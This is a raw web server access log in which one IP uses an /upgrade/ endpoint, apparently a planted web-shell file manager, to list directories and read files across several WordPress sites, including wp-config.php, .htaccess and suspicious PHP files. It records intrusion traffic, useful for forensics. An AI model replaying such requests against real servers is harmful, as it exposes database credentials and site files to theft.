45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 52665 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 10721 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 8342 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=dir HTTP/1.1" 200 8337 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9446 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7962 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 6773 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=file HTTP/1.1" 200 8304 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 8615 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9600 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 16105 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 16498 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=dir HTTP/1.1" 200 8305 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 5804 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 6428 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 6780 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 12442 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9399 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:02 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 15966046 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8991 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=folder HTTP/1.1" 200 8307 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 52650 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 10228 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9928 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2F HTTP/1.1" 200 7868 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 8310 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9812 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 10662 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 10586 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 26548 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 11354 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 8609 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 11927 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:04 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 19086 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 11159 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7971 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 8292 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F.well-known HTTP/1.1" 200 6053 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 6325 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 20974 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 11746 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 8238 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9162 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 9574 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 10192 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5797 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F HTTP/1.1" 200 25636 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
